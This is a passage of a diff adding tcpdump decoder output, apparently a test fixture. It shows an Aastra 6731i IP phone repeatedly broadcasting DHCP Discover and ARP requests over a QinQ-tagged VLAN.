+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53156, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x969699e7, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53187, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x969699e7, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53191, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x969699e7, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53198, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x969699e7, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53214, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x969699e7, secs 27, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 (03:6f:72:67:00:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53246, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696996b, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 (03:6f:72:67:00:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53250, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696996b, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53257, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696996b, secs 10, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53273, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696996b, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53304, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696996b, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53307, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696996b, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53314, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696996b, secs 10, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53329, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696996b, secs 25, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53360, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x969698f9, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53372, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x969698f9, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53379, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x969698f9, secs 10, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53395, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x969698f9, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53426, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x969698f9, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53430, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x969698f9, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53437, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x969698f9, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53453, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x969698f9, secs 27, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53485, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696987c, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53492, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696987c, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53499, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696987c, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53514, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696987c, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53545, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696987c, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53548, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696987c, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
